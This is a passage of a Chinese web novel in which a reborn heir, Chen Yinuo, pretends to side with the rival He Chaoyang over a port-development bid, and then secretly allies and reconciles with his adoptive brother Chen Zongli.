陈一诺的声音多有哀怨,但贺朝阳疑心重,没有全信继续拱火试探:“陈宗礼下手确实狠,当年你那个电商平台WeMall破产的事,我也略知一二,要不是陈宗礼阻挠,一星集团肯定能再上一个台阶。” 陈一诺敏感地看着贺朝阳。上辈子,他在A国念大一时创建了电商平台WeMall,结果被陈宗礼拦截投资,最后资金断裂走向倒闭,这件事知情人不多。那时,甚至连吴奇都还没进他的团队。 贺朝阳当时人在港城,这件事,他是怎么知道的? 猜疑的眼神稍纵即逝,他立刻装出一副牙痒痒的模样:“别提了!把我公司逼倒闭算什么,如果杀人不犯法,他早把我杀了,永绝后患。” 他指着贺朝阳,又指自己,装得语重心长:“你我的处境差不多……虽然,你哥不会像陈宗礼这样赶尽杀绝,但是兄弟关系中,有着天然的雄竞关系。听我一句劝,替自己早做打算。” 贺朝阳耐心听着陈一诺掏心掏肺地“爹味”发言,要不是没从他身上闻出酒味,贺朝阳都以为他喝多了。但最后一句话,还是成功让贺朝阳那双三白眼松动些许,戒备明显减少。仿佛真的在考虑陈一诺推心置腹的建议。 他们对视片刻,两人学生时代的针锋相对,像在这次对话中一笑泯恩愁。 他拍着陈一诺的肩膀问:“谢谢提醒。那你呢?接下来,打算回港发展?” 终于,在一番试探下,他们进入正题了。 陈一诺葱白般修长的手指,不自觉地在身旁的柱子上画了一个圈。 他漫不经心道:“繁星TV卖了,一星在A国剩下的业务都不用我操心。但A国的盘子有限,要找商机肯定回这边来,近期,我打算先在港城建个分公司,找找机会。” “看在老同学的份上,有什么好项目,带带我啊?” 这本是客套话,没想到贺朝阳三白眼不着痕迹地上扬,提议道:“刚好,我有一个比较冒险的项目,非常适合你在港城要打响第一炮,要不要听?” 虽然,比起酒吧,这里算得上安静,可聊的毕竟是商业机密,难免怕被人听去。 陈一诺把头微微凑到贺朝阳身边,装作专心聆听:“赶紧说来听听。” 贺朝阳鼻尖传来陈一诺身上淡淡的薄荷烟味,说道:“听说过羽南港么?港城近20年规模最大的开发项目,天骏和建盛都会参与投标。” 刚刚那人想分一杯羹,被贺朝阳一口回绝。轮到自己,他却主动邀请…… 事出反常必有妖,何况反常的是贺朝阳。 陈一诺先按下内心的疑虑,表面假装生气:“你耍我呢,我们一个海外公司,没资质,没经验,跟zf更是一点关系都没有,怎么可能拿得下那么大的项目。” 贺朝阳像完全猜到他的反应,抬手让他稍安勿躁,继续说道:“你听我说完!” “这个羽南港项目跟其他开发项目不同,看中的是各家竞标公司对羽南港地块的规划。” 听到这里,陈一诺心中大喜。这些竞标细节,正是王之初没搞来的,没想到贺朝阳正好送上门,得来全不费功夫。 按照他的经验,这种政府公开招标土地项目,有大概两种方式,一种是价高者得,对开发区域直接拍卖。另一种是“双信封制”,技术标占70%,主要评估设计方案,价格标占30%,主要评估开发报价,最后以综合成绩作为最终裁决。 但羽南港居然两者不沾,只看重土地规划方案,政府传递的信息很明确:羽南港项目非常重要,不惜亏本也要做好! 贺朝阳继续道:“此外,我还收到一个小道消息,标书上说只有一家中标,实际上中标名额有两个。” 陈一诺白他一眼,无情打断:“等等,如果最后只有一家中标,就是建盛和天骏之间争一争,两家中标,不就100%你们俩。我还费时间干嘛?” 贺朝阳对他的态度彻底失去耐性,喝道:“能不能听我说完再发表意见?!” 陈一诺摸摸鼻尖,示意他继续。 “中标名额有两个,意味着在考核层面,这两家公司提交的方案,特别在规划的大方向上,需要一致。这样,当真正合作时,就可以做到优势互补,又要彼此牵制。” “你大可以用新公司身份竞标,海外资源和技术就是你的优势,搭上我们建盛本地实力,刚好能联手包抄天峻。” “等项目拿下,有羽南港这种大项目经验,你还怕在港城站不稳么。” 虽然不知贺朝阳这番话里的真假,但他多少摸索到,上辈子陈宗礼错失羽南港的原因:没找到合适的盟友,或者说找到了,但是最后没谈拢,最终输给贺朝阳。 陈一诺脑子快速转动着,心里有个疑问,不问出口他今晚睡不着。 他问贺朝阳:“贺少,别怪我多心。全港城那么多公司,你为什么偏偏选跟我合作呀?” 贺朝阳是精明人,对陈一诺的警惕早有预料,他本人打从心里容不下陈一诺成为他的盟友,毕竟他姓陈。但为了离间陈家兄弟,他自然要有所忍让。 而陈一诺上来就开骂陈宗礼,确实让他放低些许戒备。 他笑容有些艰涩:“不怕跟你说,这个项目,是我从贺朝风手里抢过来的,我必须拿下。你的加入,除了刚刚说的海外优势,还有气势加成。你看,最近你跟陈宗礼频频上热搜,已经是全民热议的程度,有你加入,从舆论上,我们就能压他一头。” “再说,我们不是同病相怜么。你刚果让我早做打算……不瞒你说,羽南港就是我的打算。” 反派不可怕,真诚的反派才可怕。贺朝阳确实高明。 上辈子,如果陈一诺不是死在贺朝阳手里,知道他的真面目。此时的他,估计早被贺朝阳所谓的“真诚”打动,同仇敌忾地投入敌人的怀抱。 不得不说,贺朝阳这只阴湿鬼,大学学的估计是表演专业,演技真真好。 看陈一诺还在犹豫,贺朝阳也不催,他淡然道:“反正,我把我知道的知无不言地全告诉你了。你不着急,考虑好了给我答复。” “记得,我们的目标始终是一致的。” 陈一诺配合道:“行吧,看在你份上,我好好考虑。” 说着,陈一诺跟贺朝阳离开庭院,朝餐厅的方向走,他们还零零碎碎说着什么,陈一诺的心思已经飞了。 他记得,上辈子,羽南港项目是贺朝阳人生的重要转折点。 从羽南港项目中标开始,直到项目落成,最后成功招商引资,建盛集团的股市一路狂飙,股东对贺朝阳的满意程度也指数级飙升。贺朗的天平也是在那时候开始倾斜。 贺朝阳绝不是养虎为患的人,他这次那么慷慨地邀请他合作,心里绝对还有别的打算…… 再者,倘若这辈子羽南港竞标规则不变,那上辈子,他肯定也找了一个合作伙伴联手围剿天峻,对方是谁呢? 陈一诺满脑子官司,边想边走着。走过漫长的长廊,沿着涓涓细流重新回到室内,路途中,灯光逐渐暗下来,适宜的空调温度,让人有些困意。 快到他原来的卡座时,猛然发现卡座内除了王之初,还站着两个人。 贺朝阳见状,趁机在他耳边说道:“真是冤家路窄啊。” 说罢,抬起手,满脸笑意地打招呼:“哟,太子爷和庄少,也来吃饭啊。”—— 作者有话说:陈二少:兄弟关系是雄竞关系…… 陈宗礼:也可能是夫妻关系 陈二少:什么???? 第25章 陈一诺专门来恒福是为了“偶遇”贺朝阳,万万没想到,还会遇上陈宗礼。 这是岚枫山赛车后,他跟陈宗礼的第一次见面。 陈宗礼一身米色休闲西装,配深蓝白点领带,把他那双深邃如墨的眼眸映衬得格外明亮。 看陈一诺跟贺朝阳一同出现时,陈宗礼眼里的光,仿佛成了一个X光检测仪,在他们身上上下打量着。 庄嘉轩也看见他们,有些阴阳怪气:“哎哟,贺老板和陈二少!有生之年还能看见你俩说说笑笑,算得上神迹了。” 贺朝阳立刻端出笑意:“别提了,都是小时候的破事。一诺今天赏光来吃饭,你们怎么也来了?一起的?” 试探性很强,庄嘉轩连忙摆手:“好久没吃你家烧鸟,趁回国拉着宗礼一起来了。”他转身指着旁边的王之初,“没想到,吃完出来看见老王,想着一诺应该在附近。这不就偶遇了。” 王之初抬抬眼镜:“够了啊,老王是你叫的吗?” 庄嘉轩伸手揉着王之初的脑袋,喊道:“嘿,我就要叫老王老王老王!” 庄嘉轩身上的江湖气,让人觉得直率、亲切,跟谁都能说上两句,面前几个人的尴尬气氛顿时融洽了许多。 贺朝阳拍拍他的肩膀,当打招呼:“我刚在后面遇见一诺,还说起接风宴我没去,错过你们的世纪飙车。” 外人兴许觉得贺朝阳随便说的客套话,但陈一诺听出来,他是故意的。 故意在最短时间内,让你们兄弟尴尬,哪儿疼踩哪儿,这是他的特殊技能。一如当年在圣保罗打球时,上来就激他:你是不是私生子。 这招用在刺激对手上,用在谈判桌上,百发百中。 只可惜,陈宗礼在谈判桌的尸山血海里练就了处变不惊的本事,陈一诺重生一世更不是当年不堪一激的莽撞学生。 双方都没有发作,陈宗礼淡淡道:“下次有机会,叫上你哥比一场……” 陈一诺神色微微一变,贺朝阳哈哈拍起手:“兄弟之间的心灵感应吗?刚刚一诺也这么说。” 陈宗礼挑起眼皮看向陈一诺,陈一诺也在看他,目光对上一瞬又不屑地错开。似乎不认为这是一句赞美,反倒觉得晦气。 生怕贺朝阳感受不到兄弟关系微妙,陈一诺冷下脸补充一句:“我跟太子爷又不是亲兄弟,可不敢跟他有心灵感应。” 一句话,让热络的气氛瞬间冷下来,始作俑者贺朝阳看效果斐然,心里乐得很。但作为餐厅主人,还是得打圆场:“哈哈,我错我错。你慢慢吃,这顿我请客。” 他手机响起,抱歉道:“我还有事忙,先走了,你们随意。” 临走前,还不忘提醒陈一诺:“考虑好了,给我打电话,等你哦。” 贺朝阳声音不高不低,但刚好让现场几个,特别是陈宗礼,听得一清二楚。等他离开,庄嘉轩忍不住问陈一诺:“他等你什么?要你考虑什么?” “商业机密。”陈一诺一句话堵住了他的十万个为什么。 他看着满桌的日料吃食,肚子突然饿得不行,坐下捧着一碗拉面就开始吃。 陈宗礼垂眸看着他,直言不讳地问:“跟羽南港有关?” 陈一诺夹拉面的筷子瞬间顿了顿,陈宗礼这双眼睛,真是火眼金睛,那么快就听出来了。 他“嗯”了声,继续吸溜拉面。 庄嘉轩闻言大吃一惊,他坐到陈一诺身边,低声道:“你知不知道,去年港城首富的位置已经是贺朗的了。建盛集团连续抢了天峻好几个项目,你帮谁也不能帮贺家吧?” “吸溜吸溜——”陈一诺嗦了一口。 王之初也担心,怕隔墙有耳,压低声音道:“一诺,你不在港城可能不知道,去年贺朝阳替他爸收购了一家游戏公司。本来条件谈得好好的,就在签约当天,告知对方,他要求游戏公司在收购前,把35岁以上员工全部裁掉。就是想给建盛省了一大笔赔偿。游戏公司的CEO刚开始对他称兄道弟,甚至说服股东卖股份给贺朝阳,没想到转身被他反咬一口……” “吸溜吸溜——”陈一诺又嗦了一口。 “贺朗觉得他办得漂亮,才把羽南港交给他。他现在只想把他哥拉下来,自己上位。现在哄你合作,不知道什么时候就朝你背后捅一刀。你可要小心啊!” 趁着大家说嘴的功夫,陈一诺吃完最后一口拉面,浓郁的骨头汤侵入身体,拉面配上肉质鲜美的加厚豚肉,把他的胃收拾得妥妥贴贴。 “咕嘟咕嘟——” “啪——” 他放下拉面碗,擦擦嘴,满足地打了个嗝,眼睛滴溜溜看了一圈。 他知道,日料店内所有人,包括已经躲到角落的贺朝阳,都在关注他们的一举一动。而他们低声的对话,对方也听得一清二楚。 他站在陈宗礼面前,故意挑衅道:“是你自己说,我们的赌约不算数。把我赶出国的那刻起,天峻的事和我无关。跟谁合作,那是老子的自由。” 他从卡座起身,手指点了点陈宗礼深蓝白点领带,评价道:“领带哪儿买的,真丑!” 说完,抬起下巴,跟王之初一起离开了恒福。 庄嘉轩骂骂咧咧:“看见没!小崽子胳膊肘往外拐!每回跟他说话,我就高血压!” 陈宗礼垂眸看着领带,手指触碰被陈一诺点过的地方,撂下一句:“年纪轻轻就高血压,看看医生吧!” “走了。” 也不管庄嘉轩在背后骂他:“走了?一起啊?操!老子没开车……” 庄嘉轩匆匆离开的背后,贺朝阳的视线隔着竹帘灼灼看着门口方向。 他看着陈家两兄弟分别上了各自的车,一个向左走,一个向右走,像老死不相往来的仇人。 …… 半小时后,陈宗礼抵达港城的下城区,旧时候这里是港城的平民窟。 他停好车,踱步到骑楼老街,这条街的两旁,全是拥有上百年历史的两三层高骑楼。上面住人,底层开设商铺,商铺顶部外展一层遮挡,形成一条公共走廊。台风季节遮风挡雨,湿热夏季打造阴凉。 陈宗礼只身走进骑楼老街,推开其中一家蓝绿木门,门上的黄铜门铃发出“叮叮”声,提示有客来访。 陈宗礼迈步上二楼,把门头的“Monica私人订制”牌子留在身后。 平民窟里藏龙卧虎,这家店里也藏着厉害的手艺人。 一个浅金色头发的中年男人,身材板正,穿着白衬衫棕色马甲,脖子上挂着一把软尺。 他叫阿墨,这家店是他母亲Monica创建的,母亲去世后,他接手了店铺,除了订制衣服,还会做造型,是很多明星、豪门名媛的御用服装、造型师。 陈宗礼进门时,阿墨正拿着软尺给一位客人量尺寸,他金丝眼镜落到鼻尖,眯着眼看来人。 阿墨:“哟,太子爷闻着你的味来了!” 穿咖啡色针织薄衫的客人转过身,乌黑的眼眸狡黠地闪过得意,睨着陈宗礼:“还以为你没听懂。” 陈宗礼甩甩自己的深蓝白点领带,这条领带是他19岁生日,陈一诺在这里定制西服时,特意给他挑的礼物。因为是他送的,每次陈宗礼戴,陈一诺都会送上一波彩虹屁。 但他在恒福说:真丑,哪里买的。 刚开始陈宗礼还感觉意外,后来就猜到了,这是陈一诺约他在这里见面。 陈宗礼恶人先告状:“阿墨,他说你亲手设计的领带丑。” “你说什么?” 阿墨像被踩了尾巴的猫,眼睛长刀子似的戳向陈一诺。他最忌讳人家说他东西丑,没有之一。 陈一诺举起双手,解释道:“恒福店里,全是贺朝阳的耳目,我给你递暗号不得隐蔽些吗?” 阿墨不解:“都什么年代了,还间谍玩暗号。微信里发个定位不行吗?” 陈一诺不语,那双狡黠的眸子,意味深长地看着陈宗礼,说道:“对啊,这怪谁呢?” 还能怪谁? 说起来挺遗憾的。有一段时间,港城对于陈一诺而言是一个幸福感爆棚的地方。他有家,有朋友,有亲人,而陈宗礼,是比亲人更亲的人。 当时,他跟陈宗礼关系那么好,真的就像亲兄弟似的。为此,出国后的一段时间,陈一诺很消沉,那种又被遗弃的感觉让他难受得想死。 于是,他狠心把陈宗礼所有联系方式全删。直到陈宗礼死,都没加回来过。 陈宗礼态度良好,垂眸应了下来:“嗯,怪我。” 阿墨读不懂他们之间的弯弯绕绕,嘟囔着,这两兄弟说话怎么粘粘糊糊的,一个撒娇一个哄…… 他收起软尺,拿上量好的数据,不当电灯泡:“我就不碍事了,你们继续怪来怪去吧。” 临走前,提醒一句:“我待会还有客人的啊,你们尽快聊完赶紧走。” 尽快?他们要聊的事太多,可快不了。 但没有比这里更私密的地方了,陈一诺骗人道:“能快就快,快不了,太子爷包场。” 陈宗礼莞尔一笑,没拒绝。 …… 夏日天气多变,刚刚还是恶毒的日头,飘来的几朵厚云,一阵怪风吹过,雨滴便猝不及防地砸到地上。行人们捂着脑袋,慌忙地从对面马路跑到骑楼下躲雨。 比起户外的慌乱,室内的人心中腾升出一股莫名的安全感。 阿墨离开后,房间里剩下他俩,陈一诺倚着窗边,任雨滴打在圆拱状的玻璃窗上。 曾经,在这样的雨天,陈一诺会赖在陈宗礼的书房,他拽着毯子靠在沙发做功课,陈宗礼对着电脑处理工作,各做各的事,彼此不说话,不时看彼此一眼,然后心安地继续手头上的事。 这在陈一诺记忆中,全是上辈子的事了。 回到现实,陈一诺目光移到他的手上:“手怎么样了?” 陈宗礼看向自己的手腕,上面还缠着肉色贴布,不仔细看看不出来。 “好差不多了。” 陈一诺表情松快一些,继续道:“这次,建盛竞标羽南港,负责人是贺朝阳。他刚刚跟我透露了一些项目细节……” 雨声太吵,陈宗礼迈步向前,站在圆拱窗的另一边,两人一左一右贴着,朝窗外看去。 陈一诺把贺朝阳刚刚说的信息,一五一十转述给陈宗礼。边聊边赏完一场雨。 半晌,陈宗礼缓缓开口:“除了最终选定两家中标,我们知道的消息差不多。” “如果zf看重方案,那就找最好的设计师,这种资源,天峻还是能找到的。但这样还不够……” 陈一诺心有灵犀地看向陈宗礼,他的所有商业相关的理论,都是陈宗礼手把手教的。一个眼神,就明白对方想说什么。 他唇珠微微上翘,认同道:“确实,天峻有资源,贺朝阳也有。” “差异不在这里,要把羽南港打造成高新科技港,如何引进高新科技公司,也是重点,如果我们的方案里能把明确入驻的科技公司列举,一定是加分的。” “我们?”陈宗礼敏锐捕捉着关键词不放,逗他:“我以为,你打算跟贺朝阳合作。” 意识到自己说漏了,陈一诺露出一些窘迫,嘴上还要硬杠:“你想我跟他合作?” “还是说,你觉得我不配跟你合作?” 陈宗礼如墨的黑眸里,藏着说不清的情绪,想努力澄清什么似的,说道:“配,特别配。” “一诺,跟我合作吧,别考虑其他人。” 第26章 这句话,直接把陈一诺噎住。 陈宗礼说话,怎么听着怪怪的…… 可既然对方给了台阶,陈一诺自然顺着下,他战术性咳了一声,继续道:“那行,那我们这算合作了。方案上,我们分头想,有头绪再聊。然后……我认识一些A国的环球中介,看看能不能沟通来一些独家资源。” 习惯主导的陈宗礼,突然被“安排”了工作,对方还是陈一诺,自觉挺有意思的。 纵容地应道:“好,照陈总说的办……不过,听说环球中介骗子挺多的,你要小心。” 普普通通的一句“陈总”,陈一诺听着耳朵有些痒,他抓了抓耳廓:“放心,我在A国混了那么多年,不是白混的!另外……我希望,我们的关系……先不要公开。” 陈宗礼皱眉,这句话也太像渣男希望伴侣不要公开恋情了。 他们在搞地下恋……不是,地下合作么? 陈一诺解释:“现在的舆论都觉得我们是死对头,我们正好利用一下。一方面,我可以继续潜伏在贺朝阳那边打探消息,另一方面,也不会提前引起ZF对我们的顾虑。” 陈宗礼意味深长地打量着陈一诺,心中涌出一种孩子“长大了”、“有出息”的老怀安慰。 当初,让陈一诺专心念书是无心插柳,把他带进天峻学做生意,本意也只是想让他多见世面,开阔眼界。 谁曾想,陈一诺是一块世间罕有的璞玉。学习、生意一点就通,一教就会。被丢到国外也没有自暴自弃,创业失败一回,也还能顶着一口气摸爬滚打到现在。 逐渐形成喜欢剑走偏锋,赢对手一个出其不意的风格。 像莫多里收购时,在毫无胜算的情况下,以zf换届切入,让莫多里的天平往他的方向倾斜。像羽南港顺应舆论,继续假装兄弟不和,跟贺朝阳混打探消息。 陈宗礼眼里盛满了对陈一诺的欣赏,嘴上还是稳妥地提醒道:“可以按你说的来,但这几年,贺朝阳越来越受他父亲重用,靠的全是见不得人的手段,你一定要小心。” 贺朝阳的阴险,陈一诺最熟悉不过,他嘴上颇为不服:“哥,这几年我也没闲着,谁该小心谁,还不一定……” 他下巴扬起,一双灵动的眼睛微微弯着,瞳孔里泛着浅棕色,优越的下颌线勾勒出满脸得意,让没有人情味的扑克脸忍俊不禁应和道:“嗯,也是。” 陈一诺看了他半天,发现陈宗礼的手纹丝不动。换作以前,这会儿,他的手掌就该摸上自己的卷毛了。 他挠挠头。脑袋怪痒的。 …… 提起“潜伏”,突然勾起了陈一诺的思绪。 他伸手搭上陈宗礼的小臂,问道:“哥,天峻当年拦截了WeMall的融资,你们内部员工都知道吗?” 陈一诺的体温比常人高,热度隔着亚麻布料慢慢传递到他的肌肤。陈宗礼不敢动,担心对方的手指往下探几厘米,会摸上他的脉搏,察觉过速的心跳。 他调节呼吸,强迫自己专注,片刻才接话:“有……但不多,怎么了?” “我有一个猜想,你们天峻内部会不会有贺朝阳的眼线,职位还不低。” 陈宗礼注意力被这个话题成功转移,问他:“怎么?” 陈一诺没察觉他的异样,自顾自地往下说:“当年,WeMall是我找中介在海外注册的公司,没几个人知道我是幕后老板。但今天贺朝阳主动提起这件事,他是怎么知道的?” 作为人生中第一个夭折的创业项目,陈一诺依然耿耿于怀。 区别于那天在岚枫山对话时情绪激动,当时,陈一诺言语间积攒了这些年对陈宗礼的不满。今天再提起WeMall,他的情绪平稳许多,仿佛是发生在别人身上的事。 WeMall作为横梗在他们之间的心结之一,他们从来没有机会好好谈过。陈宗礼本可以说“不清楚”把话题终结在这里。 毕竟,他跟陈一诺之间的误会太深,一两次交谈就妄图修复关系,那是天方夜谭。上次,在岚枫山自杀式比赛就是最好的证明。 虽然,那天的最后,陈宗礼跟陈一诺道了歉,双方相隔的冰山,也仅仅融化了一个冰尖尖。加上近段时间没有合适的机会见面,修复的进度陷入停滞。难得今天聊天的气氛正好,如果由着这个话题往下聊,对他没有一点好处。 他内心挣扎着,耳边传来陈一诺的话:“这人有可能藏在当年跟水杉谈判的法务里,毕竟你们法务把WeMall查了个底朝天,连用户协议都没遗漏,让水杉撤销了投资……” 调皮的雨点,像给陈一诺的话当伴奏,“哒哒哒”地砸在玻璃上,每一下都砸在陈宗礼的良心上。 陈一诺只能选天峻吗?当然不是,贺朝阳不就给他递橄榄枝了。 他一定要做羽南港项目吗?当然未必。万一真的拿下,他们谁获得的利益更多?天峻无疑。 理智告诉他,陈一诺在用云淡风轻的语气,坦诚地揭开当年的伤口,都是为了成全双方的合作。如果他选择避而不谈,那太不是东西了。 “一诺。” 陈宗礼喊着他的名字,打断了他的话:“现在说,兴许有些晚,但我还是想跟你聊聊WeMall的事……” 上斜眼里含着罕见的柔情,声音也带着小心翼翼:“当年,你出国之后,我正式接手天峻,除了没日没夜的工作,没有别的情绪,像个AI。” “那时,新上线的电商APP“叮当”用户增长的势头很好,跟水杉达成融资意向后,我就交给项目组和法务跟进。” “后来,法务跟我说,水杉在投“叮当”的同时,还投了另一个电商平台。他们认为这样做违反了竞业协议,准备提出诉讼。我精力有限,只听说大概,后面的事全权交给项目组和法务处理。” “等他们胜诉,水杉撤资,我才知道另一个电商平台叫WeMall,背后老板叫OwenChan,中文名叫陈一诺。” “我当时……很自责。” 陈宗礼停了停,刚还搭在手臂的温热已经抽离,陈一诺的双手又应激地攥成拳头,手背因为用力冒出的青筋,在白皙的肌肤里分外明显。 陈宗礼不用看,都能想像掌心里深深浅浅的指甲印。他竭力忍住掰开拳头的冲动,继续道:“但是,知道你是WeMall老板并不是最难过的。“ “最难过的是法务告诉我,整个诉讼过程,你全程参与。” 天峻狙击WeMall这件事,他只从会议简报里听说过,陈一诺却完全相反。 整个过程中,陈一诺都知道“叮当”是天峻旗下的,而法务和项目组为了让水杉撤资,用了许多非常规手段,这一切,在当时陈一诺眼里,全算在陈宗礼头上。 那条「平台可搜集用户信息」是压垮骆驼的最后一根稻草,也成了陈宗礼对他赶尽杀绝的铁证。 这些细节经不起回想,千言万语,陈宗礼只能说一句:“是哥对不起你。” 陈一诺突然喊了声:“我知道。” 陈宗礼怔了怔,一时没反应过来,反问:“知道什么?” “我知道你全程没参与。我也知道只要给你或者宗瑜打一个电话,这件事就能解决。但是我都没有……” “不是因为死要面子,也不是觉得一定能赢,我就是故意让你在最后一刻知道我是WeMall的老板,就想让你知道一切的时候难受。” “先是被你送出国,离乡别井无依无靠,接着第一次创业被你的集团逼得倒闭。这样一来,你又欠我一笔……” 陈一诺不敢看他,眼神看向窗外,苦笑着自嘲:“我够疯吧?为了让你内疚,连自己公司也能下狠手。” “我那时候很轴,也记仇,觉也不睡,吃很少,心里只想着你欠我越多越好。我在A国,你在港城,我们本就没交集。你还是天峻总裁,每天日理万机,等过段时间,你结婚生子,家庭事业都美满,我就完完全全被划出你的生活了。要是没个借口,见你一面可能比登天难……” 陈一诺说话时,声音有些抖,因为上辈子,他们再见时,已经是监狱的接见室。 人还小的时候,总觉得来日方长。为此愿意花很长时间酝酿一份憎恨。日日念着:我不好过,你也别想好。 一旦意外到来,才发现人生匆匆三万天,处心积虑的那份憎恨,到最后关头成为来不及说出口的遗憾。 两辈子的委屈汇聚到此刻,陈一诺用力咬着后牙,却掩饰不了通红的眼眶。 “操!我那时候也太作了……” 这是重生后的陈一诺,对上辈子陈一诺的自嘲。 活了两辈子的人了,硬是恼羞成怒地变回那个会咬人的少年。 他找补道:“你放心吧,这种杀敌一百自损八千的事,以后不会再有了……” 陈宗礼看着陈一诺,眼眸里那片深不见底的潭水,像被投入了一块陨石,波澜不惊的水面被瞬间砸碎,激荡飞溅的水花外溢,连隐藏在潭底的水妖,也即将冲破枷锁,从水里腾升,毁掉他最后的理性。 陈一诺诉说着自己的心路历程,陈宗礼却从只字片语中,敏感地察觉到他“作”背后的理由。 那是对恐惧失去,害怕被抛弃的应激反应。 像婴儿会企图通过哭闹、摔打玩具,吸引父母的关注,从而确认自己被重视。从这个角度,再回头看陈一诺的“作”,一切仿佛能说通了。 陈一诺从骨子里认为自己是弃犬,在上城古家时寄人篱下,被亲戚们踢来踢去。离开古家后,到港城投靠陈家,在慢慢适应后,又被送出国…… 陈宗礼清晰地感觉到,那颗维持他生命的心脏,被针扎似的疼。 很疼。 他喉结滚动,声音哑然:“没事,你爱怎么……就怎么……” “别说我现在没结婚,就算哪天真结了,只要你想“作”,我随时奉陪。” 以陈宗礼的身份,不乏港城的豪门名媛、明星青睐,倒追手段更是层出不穷。但是,关怀备至的他不喜欢,外放主动的他不在意,有人便另辟蹊径,用“作天作地”的方式,引起他的注意。陈宗礼看破不说破,从不理会。 这些想要引起他注意的手段,跟商场上,那些尔虞我诈的老狐狸比起来,根本不够看。 但,陈一诺在他心里不一样。陈一诺跟他是“兄弟”关系,却比兄弟更亲密。 他的“弟弟”、陈二少、一星总裁对他“作”,那是单纯的“作”吗? 那是陈一诺在声嘶力竭地喊:陈宗礼,你看看我! 光是琢磨透这一点,陈宗礼脑子里只剩下一个念头:抱抱他的小卷毛。 …… 陈宗礼的话,让陈一诺觉得自己仿佛浸泡在温泉里,心跳有些快,晕乎乎的,飘飘然的。 他自言自语道:“算了,你要是结婚,我还缠着你,嫂子该生气了……” 陈宗礼转身侧抵着窗棱,垂眸道:“放心,你还没嫂子。” 按照上辈子的时间线,现在还没,但也快了……陈一诺盘算着。 把旧事摊开后,两人的气氛变得轻松许多。 陈一诺松了口气,感叹:“其实,我那天去日进公园,看见宠物救助中心里面收养的猫猫狗狗。对你的怨气,已经消失得七七八八了。” “你给那些流浪的猫狗一个家。让它们有地方吃喝,有地方住,还能等主人领养。这样的补偿,我觉得足够了。” 陈宗礼没想过,陈一诺那么快就发现那个宠物救助中心,平日少有情绪的天峻总裁,表情有些窘迫。他是被人夸奖着长大的,但陈一诺的夸奖不一样…… 他连忙掏出手机,打开自己的二维码,生硬地转移话题:“那,现在我配当你的好友了吗?” 陈一诺看穿了陈宗礼的窘迫,噗地笑出声来。 他掏出手机:“配配配,加加加。”—— 作者有话说:明天的晚上11点左右更哈~ 第27章 “叮叮叮——” 黄铜门铃响动,“Monica私人订制”的门被再次拉开。 雨已经停了,金灿灿的阳光落在骑楼旁的榕树上,被洗过的树叶鲜绿透着光,褐色垂落的榕树须挂着雨滴,一滴滴积攒成了深浅不一的水洼。 陈一诺双手揣兜,沿着潮湿的街道走了约莫一百米,在十字路口扬手上了一辆出租车。 出租车司机是本地人,车上播放着港城电台的节目,一把性感的女声推荐着最新单曲,慰藉忙碌了一天的打工人。 陈一诺划着手机里的好友列表,点进新增好友“C”的对话框,有些不真实。 他跟陈宗礼算是又进了一步吗? 脑子里,复盘着今天跟陈宗礼说的每一句话,陈宗礼又说了一次“对不起”。 上辈子,做梦都盼着有这么一天,现在听了两次,才迟钝地发现,自己想听的不是他的道歉。 陈宗礼说,他可以继续“作”,哪怕他结婚了,也可以。陈一诺那颗因被抛弃而扭曲的心,像一件满是褶皱污渍的衣服,洗得再干净,污渍也无法彻底抹除,至少,陈宗礼用熨斗把皱褶熨平了一些。 出租车快到LS酒店,陈一诺眼尖看见守在酒店外的狗仔,转而跟司机说,去酒店停车场。 下了车,陈一诺从停车场走到电梯间,不到百米的距离,他敏锐地察觉,身后有一道视线盯着自己。他以为是狗仔,没有回头,径自上了电梯。 他给王之初发消息:好像有人在跟踪我。 王之初回复很快:那是你的保镖。 陈一诺皱眉:这侦查意识也太弱了吧,我都能察觉…… 王之初:给你请的保镖,不被你察觉,你怎么知道他们在上班?到时候找你发工资,说不清了。总不能让他们打卡吧。 陈一诺:老王,你是真牛逼.jpg …… 三天后,陈一诺收到贺朝阳的电话,邀请他晚上去新开的威士忌酒吧。 醉翁之意不在酒,陈一诺心里清楚。 传说,港城的网红餐饮、酒吧、酒店,有一半是贺朝阳的。他不爱开公司,唯独对餐饮服务业情有独钟。 “是人就要吃饭,是人就有放松的需求,现成的钱,为什么不赚?” 贺朝阳给他倒了杯麦卡伦,笑着说:“再说,生意去哪里谈?小道消息哪里来?无非餐厅、酒吧……吃喝有价,消息无价。” 宽口杯里,冰球混着深沉的酒液,散发淡淡苹果和花香,陈一诺浅酌了一口笑道:“那最近收集到什么消息?” 贺朝阳仿佛对他很信任,毫不藏私,俯身说道:“天峻那边已经着手准备羽南港的规划方案了。” “你猜,陈宗礼找谁帮忙?” 虽然加上了好友,但跟陈宗礼的对话框依旧空空如也。似乎都不想做第一个开口的人,或者,都不擅长线上聊天。 以至于,他还要从贺朝阳嘴里打听天峻的消息。心里不爽,面上却很平静,问道:“找谁?” 贺朝阳三白眼里飘过玩味的戏谑,要笑不笑地:“你未来大嫂,李思维。” 啊……李思维啊。 港城四大家族中李家纯的独女李思维,被港媒称为:“港城最后一个名媛”、“预备役太子妃”。 陈一诺假装惊讶,问道:“她回国了?” 贺朝阳笑道:“什么年代了,一个视频会议就聊得明白的事,哪需要专门回来一趟。” “这几年,李思维满世界跑,帮他爸打理全球的LS酒店,酒店的设计都得过李思维的关。几年历练,建筑、设计大师资源集邮似的一大把。加上她还搞收藏,艺术家也认识不少。” “太子爷已经联手太子妃了,我们也该强强联手了吧……” 透露的信息足够诚意,也足够有杀伤力。 当年,陈宗礼正式接手天峻,陈一诺被送出国的消息同时传出。港媒顿时炸开了锅,他们四处收集情报,希望了解陈家两兄弟决裂的内情。有媒体甚至把双方实力做了详细对比,其中一项不容忽视的外力支持,就是陈宗礼预备役“未婚妻”——李思维背后的李家。 本来,贺朝阳还担心陈一诺拒绝加入,李思维的出现,正好替他打消了疑虑。 常年在第二的位置,被人比较,阴暗爬行……他们的痛苦是相通的。 身上的逆鳞长得再隐秘,仍然存在,一点刺激便能勾起陈年的恨意。 贺朝阳眼里带笑,喝了口威士忌,眼珠子偷瞄观察陈一诺的反应。 陈一诺知道贺朝阳的意图,他仰头把酒一饮而尽,“啪——”宽口杯重重的敲落到桌上,面露不屑道:“切,搞项目又不是搞真人秀,秀秀恩爱,项目就能到手吗?开什么玩笑……” “再说,她有的资源,我们一星没有吗?你要什么,我现在就帮你搞定!” 为了增加自己的说服力,下一秒掏出手机要“摇人”,完全丢失了惯有的冷静,正中贺朝阳的下怀。 